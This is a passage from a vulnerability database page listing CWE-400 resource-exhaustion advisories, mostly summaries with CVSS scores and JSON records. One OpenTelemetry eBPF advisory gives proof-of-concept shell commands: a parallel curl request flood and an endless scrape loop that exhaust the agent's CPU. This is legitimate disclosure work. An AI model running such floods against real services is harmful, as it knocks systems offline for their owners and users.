Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5486 vulnerabilities reference this CWE, most recent first.

GHSA-899X-GQMC-4HGM

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30
VLAI
Details

DHCP Server Service Denial of Service Vulnerability

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-26212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T17:15:39Z",
    "severity": "HIGH"
  },
  "details": "DHCP Server Service Denial of Service Vulnerability",
  "id": "GHSA-899x-gqmc-4hgm",
  "modified": "2024-04-09T18:30:25Z",
  "published": "2024-04-09T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26212"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26212"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89C6-VPCJ-7VJ4

Vulnerability from github – Published: 2026-05-18 20:11 – Updated: 2026-06-09 10:58
VLAI
Summary
OpenTelemetry eBPF Instrumentation: Unbounded BPF internal metrics replay can exhaust CPU
Details

Summary

OBI replays BPF probe hits into histogram observations by looping once per recorded run count. On busy systems, the run-count delta can become very large, causing the metrics exporter to spend excessive CPU time in a tight loop every collection interval.

Details

The vulnerable loop is in pkg/export/prom/prom_bpf.go. During each metrics tick, OBI iterates through probeMetrics and then executes for range metric.count, invoking BpfProbeLatency(...) for each individual recorded hit.

The count comes from calculateStats() in the same file, where deltaCount := bp.runCount - bp.prevRunCount is calculated and returned without any cap before the per-hit replay loop.

If probe activity spikes between scrape intervals, deltaCount can be very large. The exporter then spends CPU time proportional to the number of probe hits rather than the number of metric series.

PoC

Local testing with a small reproducer confirmed the replay-loop behavior and showed CPU scaling with the recorded hit count rather than the number of metric series.

Use a vulnerable build and enable internal metrics export:

git checkout v0.0.0-rc.1+build
make build
export OTEL_EBPF_INTERNAL_METRICS_PROMETHEUS_PORT=9090
sudo ./bin/obi

Create a high-rate workload that repeatedly exercises traced probes. For example, generate HTTP traffic against an instrumented service:

python3 -m http.server 18081

Then drive it:

seq 1 500000 | xargs -P 128 -I{} curl -s http://127.0.0.1:18081 >/dev/null

At the same time, scrape metrics repeatedly:

while true; do curl -s http://127.0.0.1:9090/metrics >/dev/null; done

On a vulnerable build, OBI CPU consumption rises sharply during the metrics loop because histogram updates are replayed once per counted probe execution. The effect is visible in top or pidstat and is most pronounced under sustained high request volume.

Impact

This is an availability issue in the internal metrics path. Any deployment that enables BPF internal metrics and traces busy workloads is affected. Attackers can indirectly consume CPU in the privileged agent by driving enough activity through instrumented services.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/obi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-834"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T20:11:13Z",
    "nvd_published_at": "2026-06-02T16:16:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nOBI replays BPF probe hits into histogram observations by looping once per recorded run count. On busy systems, the run-count delta can become very large, causing the metrics exporter to spend excessive CPU time in a tight loop every collection interval.\n\n### Details\n\nThe vulnerable loop is in [pkg/export/prom/prom_bpf.go](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/4a39d3b307968df4b54e89b8dee297e7d772ca29/pkg/export/prom/prom_bpf.go#L128-L144). During each metrics tick, OBI iterates through `probeMetrics` and then executes `for range metric.count`, invoking `BpfProbeLatency(...)` for each individual recorded hit.\n\nThe count comes from [`calculateStats()`](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/4a39d3b307968df4b54e89b8dee297e7d772ca29/pkg/export/prom/prom_bpf.go#L326-L335) in the same file, where `deltaCount := bp.runCount - bp.prevRunCount` is calculated and returned without any cap before the per-hit replay loop.\n\nIf probe activity spikes between scrape intervals, `deltaCount` can be very large. The exporter then spends CPU time proportional to the number of probe hits rather than the number of metric series.\n\n### PoC\n\nLocal testing with a small reproducer confirmed the replay-loop behavior and showed CPU scaling with the recorded hit count rather than the number of metric series.\n\nUse a vulnerable build and enable internal metrics export:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\nexport OTEL_EBPF_INTERNAL_METRICS_PROMETHEUS_PORT=9090\nsudo ./bin/obi\n```\n\nCreate a high-rate workload that repeatedly exercises traced probes. For example, generate HTTP traffic against an instrumented service:\n\n```bash\npython3 -m http.server 18081\n```\n\nThen drive it:\n\n```bash\nseq 1 500000 | xargs -P 128 -I{} curl -s http://127.0.0.1:18081 \u003e/dev/null\n```\n\nAt the same time, scrape metrics repeatedly:\n\n```bash\nwhile true; do curl -s http://127.0.0.1:9090/metrics \u003e/dev/null; done\n```\n\nOn a vulnerable build, OBI CPU consumption rises sharply during the metrics loop because histogram updates are replayed once per counted probe execution. The effect is visible in `top` or `pidstat` and is most pronounced under sustained high request volume.\n\n### Impact\n\nThis is an availability issue in the internal metrics path. Any deployment that enables BPF internal metrics and traces busy workloads is affected. Attackers can indirectly consume CPU in the privileged agent by driving enough activity through instrumented services.",
  "id": "GHSA-89c6-vpcj-7vj4",
  "modified": "2026-06-09T10:58:32Z",
  "published": "2026-05-18T20:11:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-89c6-vpcj-7vj4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45680"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry eBPF Instrumentation: Unbounded BPF internal metrics replay can exhaust CPU"
}

GHSA-89FC-749H-W2FJ

Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2025-01-14 21:31
VLAI
Details

Some HTTP/2 implementations are vulnerable to window size manipulation and stream prioritization manipulation, potentially leading to a denial of service. The attacker requests a large amount of data from a specified resource over multiple streams. They manipulate window size and stream priority to force the server to queue the data in 1-byte chunks. Depending on how efficiently this data is queued, this can consume excess CPU, memory, or both.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-9511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-13T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Some HTTP/2 implementations are vulnerable to window size manipulation and stream prioritization manipulation, potentially leading to a denial of service. The attacker requests a large amount of data from a specified resource over multiple streams. They manipulate window size and stream priority to force the server to queue the data in 1-byte chunks. Depending on how efficiently this data is queued, this can consume excess CPU, memory, or both.",
  "id": "GHSA-89fc-749h-w2fj",
  "modified": "2025-01-14T21:31:39Z",
  "published": "2022-05-24T16:53:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9511"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2692"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TAZZEVTCN2B4WT6AIBJ7XGYJMBTORJU5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JUBYAF6ED3O4XCHQ5C2HYENJLXYXZC4M"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LZLUYPYY3RX4ZJDWZRJIKSULYRJ4PXW7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/POPAEC4FWL4UU4LDEGPY5NPALU24FFQD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TAZZEVTCN2B4WT6AIBJ7XGYJMBTORJU5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Aug/40"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Sep/1"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190823-0002"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190823-0005"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp%3Butm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp;utm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4099-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4505"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4511"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4669"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/security/advisory/Synology_SA_19_33"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2745"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2746"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2775"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2799"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2925"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2939"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2949"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2955"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2966"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3041"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3932"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3933"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3935"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:4018"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:4019"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:4020"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:4021"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/605641"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10296"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JUBYAF6ED3O4XCHQ5C2HYENJLXYXZC4M"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LZLUYPYY3RX4ZJDWZRJIKSULYRJ4PXW7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/POPAEC4FWL4UU4LDEGPY5NPALU24FFQD"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00031.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00005.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00014.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89FJ-WMJH-6XFJ

Vulnerability from github – Published: 2026-06-10 00:31 – Updated: 2026-06-10 00:31
VLAI
Details

CAI Content Credentials versions c2pa-web@0.7.1, c2pa-v0.80.1 and earlier are affected by an Uncontrolled Resource Consumption vulnerability. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-47902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "CAI Content Credentials versions c2pa-web@0.7.1, c2pa-v0.80.1 and earlier are affected by an Uncontrolled Resource Consumption vulnerability. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-89fj-wmjh-6xfj",
  "modified": "2026-06-10T00:31:49Z",
  "published": "2026-06-10T00:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47902"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89H6-2239-3VW2

Vulnerability from github – Published: 2023-04-25 00:30 – Updated: 2024-04-04 03:40
VLAI
Details

Jerryscript commit 1a2c047 was discovered to contain a segmentation violation via the component build/bin/jerry.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-30408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-24T22:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Jerryscript commit 1a2c047 was discovered to contain a segmentation violation via the component build/bin/jerry.",
  "id": "GHSA-89h6-2239-3vw2",
  "modified": "2024-04-04T03:40:20Z",
  "published": "2023-04-25T00:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30408"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jerryscript-project/jerryscript/issues/5057"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89J4-P5G9-QF6F

Vulnerability from github – Published: 2022-04-15 00:00 – Updated: 2022-04-22 00:00
VLAI
Details

A Denial of Service (DoS) vulnerability in the processing of a flood of specific ARP traffic in Juniper Networks Junos OS on the EX4300 switch, sent from the local broadcast domain, may allow an unauthenticated network-adjacent attacker to trigger a PFEMAN watchdog timeout, causing the Packet Forwarding Engine (PFE) to crash and restart. After the restart, transit traffic will be temporarily interrupted until the PFE is reprogrammed. In a virtual chassis (VC), the impacted Flexible PIC Concentrator (FPC) may split from the VC temporarily, and join back into the VC once the PFE restarts. Continued receipt and processing of these packets will create a sustained Denial of Service (DoS) condition. This issue affects Juniper Networks Junos OS on the EX4300: All versions prior to 15.1R7-S12; 18.4 versions prior to 18.4R2-S10, 18.4R3-S11; 19.1 versions prior to 19.1R3-S8; 19.2 versions prior to 19.2R1-S9, 19.2R3-S4; 19.3 versions prior to 19.3R3-S5; 19.4 versions prior to 19.4R2-S6, 19.4R3-S7; 20.1 versions prior to 20.1R3-S3; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S2; 20.4 versions prior to 20.4R3-S1; 21.1 versions prior to 21.1R3; 21.2 versions prior to 21.2R2-S1, 21.2R3; 21.3 versions prior to 21.3R1-S2, 21.3R2.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22191"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-410"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-14T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A Denial of Service (DoS) vulnerability in the processing of a flood of specific ARP traffic in Juniper Networks Junos OS on the EX4300 switch, sent from the local broadcast domain, may allow an unauthenticated network-adjacent attacker to trigger a PFEMAN watchdog timeout, causing the Packet Forwarding Engine (PFE) to crash and restart. After the restart, transit traffic will be temporarily interrupted until the PFE is reprogrammed. In a virtual chassis (VC), the impacted Flexible PIC Concentrator (FPC) may split from the VC temporarily, and join back into the VC once the PFE restarts. Continued receipt and processing of these packets will create a sustained Denial of Service (DoS) condition. This issue affects Juniper Networks Junos OS on the EX4300: All versions prior to 15.1R7-S12; 18.4 versions prior to 18.4R2-S10, 18.4R3-S11; 19.1 versions prior to 19.1R3-S8; 19.2 versions prior to 19.2R1-S9, 19.2R3-S4; 19.3 versions prior to 19.3R3-S5; 19.4 versions prior to 19.4R2-S6, 19.4R3-S7; 20.1 versions prior to 20.1R3-S3; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S2; 20.4 versions prior to 20.4R3-S1; 21.1 versions prior to 21.1R3; 21.2 versions prior to 21.2R2-S1, 21.2R3; 21.3 versions prior to 21.3R1-S2, 21.3R2.",
  "id": "GHSA-89j4-p5g9-qf6f",
  "modified": "2022-04-22T00:00:55Z",
  "published": "2022-04-15T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22191"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA69502"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89JC-9Q2J-97HR

Vulnerability from github – Published: 2022-05-13 01:03 – Updated: 2024-07-09 12:30
VLAI
Details

A vulnerability has been identified in Development/Evaluation Kits for PROFINET IO: DK Standard Ethernet Controller, Development/Evaluation Kits for PROFINET IO: EK-ERTEC 200, Development/Evaluation Kits for PROFINET IO: EK-ERTEC 200P, SIMATIC Compact Field Unit, SIMATIC ET200AL, SIMATIC ET200M (incl. SIPLUS variants), SIMATIC ET200MP IM155-5 PN BA (incl. SIPLUS variants), SIMATIC ET200MP IM155-5 PN HF (incl. SIPLUS variants), SIMATIC ET200MP IM155-5 PN ST (incl. SIPLUS variants), SIMATIC ET200S (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN BA (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN HA (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN HF (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN HS (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN ST (incl. SIPLUS variants), SIMATIC ET200ecoPN, 16DI, DC24V, 8xM12, SIMATIC ET200ecoPN, 16DO DC24V/1,3A, 8xM12, SIMATIC ET200ecoPN, 4AO U/I 4xM12, SIMATIC ET200ecoPN, 8 DIO, DC24V/1,3A, 8xM12, SIMATIC ET200ecoPN, 8 DO, DC24V/2A, 8xM12, SIMATIC ET200ecoPN, 8AI RTD/TC 8xM12, SIMATIC ET200ecoPN, 8AI; 4 U/I; 4 RTD/TC 8xM12, SIMATIC ET200ecoPN, 8DI, DC24V, 4xM12, SIMATIC ET200ecoPN, 8DI, DC24V, 8xM12, SIMATIC ET200ecoPN, 8DO, DC24V/0,5A, 4xM12, SIMATIC ET200ecoPN, 8DO, DC24V/1,3A, 4xM12, SIMATIC ET200ecoPN, 8DO, DC24V/1,3A, 8xM12, SIMATIC ET200ecoPN: IO-Link Master, SIMATIC ET200pro, SIMATIC PN/PN Coupler (incl. SIPLUS NET variants), SIMATIC S7-1200 CPU family (incl. SIPLUS variants), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants), SIMATIC S7-1500 Software Controller, SIMATIC S7-200 SMART, SIMATIC S7-300 CPU family (incl. related ET200 CPUs and SIPLUS variants), SIMATIC S7-400 H V6 CPU family and below (incl. SIPLUS variants), SIMATIC S7-400 PN/DP V6 CPU family and below (incl. SIPLUS variants), SIMATIC S7-400 PN/DP V7 CPU family (incl. SIPLUS variants), SIMATIC S7-410 V8 CPU family (incl. SIPLUS variants), SIMATIC TDC CP51M1, SIMATIC TDC CPU555, SIMATIC WinAC RTX (F) 2010, SIMOCODE pro V EIP (incl. SIPLUS variants), SIMOCODE pro V PN (incl. SIPLUS variants), SIMOTION C, SIMOTION D (incl. SIPLUS variants), SIMOTION D4xx V4.4 for SINAMICS SM150i-2 w. PROFINET (incl. SIPLUS variants), SIMOTION P V4.4 and V4.5, SIMOTION P V5, SINAMICS DCM w. PN, SINAMICS DCP w. PN, SINAMICS G110M w. PN, SINAMICS G120(C/P/D) w. PN (incl. SIPLUS variants), SINAMICS G130 V4.7 w. PN, SINAMICS G130 V4.8 w. PN, SINAMICS G150 V4.7 w. PN, SINAMICS G150 V4.8 w. PN, SINAMICS GH150 V4.7 w. PROFINET, SINAMICS GL150 V4.7 w. PROFINET, SINAMICS GM150 V4.7 w. PROFINET, SINAMICS S110 w. PN, SINAMICS S120 V4.7 SP1 w. PN (incl. SIPLUS variants), SINAMICS S120 V4.7 w. PN (incl. SIPLUS variants), SINAMICS S120 V4.8 w. PN (incl. SIPLUS variants), SINAMICS S120 prior to V4.7 w. PN (incl. SIPLUS variants), SINAMICS S150 V4.7 w. PN, SINAMICS S150 V4.8 w. PN, SINAMICS SL150 V4.7.0 w. PROFINET, SINAMICS SL150 V4.7.4 w. PROFINET, SINAMICS SL150 V4.7.5 w. PROFINET, SINAMICS SM120 V4.7 w. PROFINET, SINAMICS V90 w. PN, SINUMERIK 840D sl, SIRIUS Soft Starter 3RW44 PN. Specially crafted packets sent to port 161/udp could cause a Denial-of-Service condition. The affected devices must be restarted manually.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-12741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-26T04:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in Development/Evaluation Kits for PROFINET IO: DK Standard Ethernet Controller, Development/Evaluation Kits for PROFINET IO: EK-ERTEC 200, Development/Evaluation Kits for PROFINET IO: EK-ERTEC 200P, SIMATIC Compact Field Unit, SIMATIC ET200AL, SIMATIC ET200M (incl. SIPLUS variants), SIMATIC ET200MP IM155-5 PN BA (incl. SIPLUS variants), SIMATIC ET200MP IM155-5 PN HF (incl. SIPLUS variants), SIMATIC ET200MP IM155-5 PN ST (incl. SIPLUS variants), SIMATIC ET200S (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN BA (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN HA (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN HF (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN HS (incl. SIPLUS variants), SIMATIC ET200SP IM155-6 PN ST (incl. SIPLUS variants), SIMATIC ET200ecoPN, 16DI, DC24V, 8xM12, SIMATIC ET200ecoPN, 16DO DC24V/1,3A, 8xM12, SIMATIC ET200ecoPN, 4AO U/I 4xM12, SIMATIC ET200ecoPN, 8 DIO, DC24V/1,3A, 8xM12, SIMATIC ET200ecoPN, 8 DO, DC24V/2A, 8xM12, SIMATIC ET200ecoPN, 8AI RTD/TC 8xM12, SIMATIC ET200ecoPN, 8AI; 4 U/I; 4 RTD/TC 8xM12, SIMATIC ET200ecoPN, 8DI, DC24V, 4xM12, SIMATIC ET200ecoPN, 8DI, DC24V, 8xM12, SIMATIC ET200ecoPN, 8DO, DC24V/0,5A, 4xM12, SIMATIC ET200ecoPN, 8DO, DC24V/1,3A, 4xM12, SIMATIC ET200ecoPN, 8DO, DC24V/1,3A, 8xM12, SIMATIC ET200ecoPN: IO-Link Master, SIMATIC ET200pro, SIMATIC PN/PN Coupler (incl. SIPLUS NET variants), SIMATIC S7-1200 CPU family (incl. SIPLUS variants), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants), SIMATIC S7-1500 Software Controller, SIMATIC S7-200 SMART, SIMATIC S7-300 CPU family (incl. related ET200 CPUs and SIPLUS variants), SIMATIC S7-400 H V6 CPU family and below (incl. SIPLUS variants), SIMATIC S7-400 PN/DP V6 CPU family and below (incl. SIPLUS variants), SIMATIC S7-400 PN/DP V7 CPU family (incl. SIPLUS variants), SIMATIC S7-410 V8 CPU family (incl. SIPLUS variants), SIMATIC TDC CP51M1, SIMATIC TDC CPU555, SIMATIC WinAC RTX (F) 2010, SIMOCODE pro V EIP (incl. SIPLUS variants), SIMOCODE pro V PN (incl. SIPLUS variants), SIMOTION C, SIMOTION D (incl. SIPLUS variants), SIMOTION D4xx V4.4 for SINAMICS SM150i-2 w. PROFINET (incl. SIPLUS variants), SIMOTION P V4.4 and V4.5, SIMOTION P V5, SINAMICS DCM w. PN, SINAMICS DCP w. PN, SINAMICS G110M w. PN, SINAMICS G120(C/P/D) w. PN (incl. SIPLUS variants), SINAMICS G130 V4.7 w. PN, SINAMICS G130 V4.8 w. PN, SINAMICS G150 V4.7 w. PN, SINAMICS G150 V4.8 w. PN, SINAMICS GH150 V4.7 w. PROFINET, SINAMICS GL150 V4.7 w. PROFINET, SINAMICS GM150 V4.7 w. PROFINET, SINAMICS S110 w. PN, SINAMICS S120 V4.7 SP1 w. PN (incl. SIPLUS variants), SINAMICS S120 V4.7 w. PN (incl. SIPLUS variants), SINAMICS S120 V4.8 w. PN (incl. SIPLUS variants), SINAMICS S120 prior to V4.7 w. PN (incl. SIPLUS variants), SINAMICS S150 V4.7 w. PN, SINAMICS S150 V4.8 w. PN, SINAMICS SL150 V4.7.0 w. PROFINET, SINAMICS SL150 V4.7.4 w. PROFINET, SINAMICS SL150 V4.7.5 w. PROFINET, SINAMICS SM120 V4.7 w. PROFINET, SINAMICS V90 w. PN, SINUMERIK 840D sl, SIRIUS Soft Starter 3RW44 PN. Specially crafted packets sent to port 161/udp 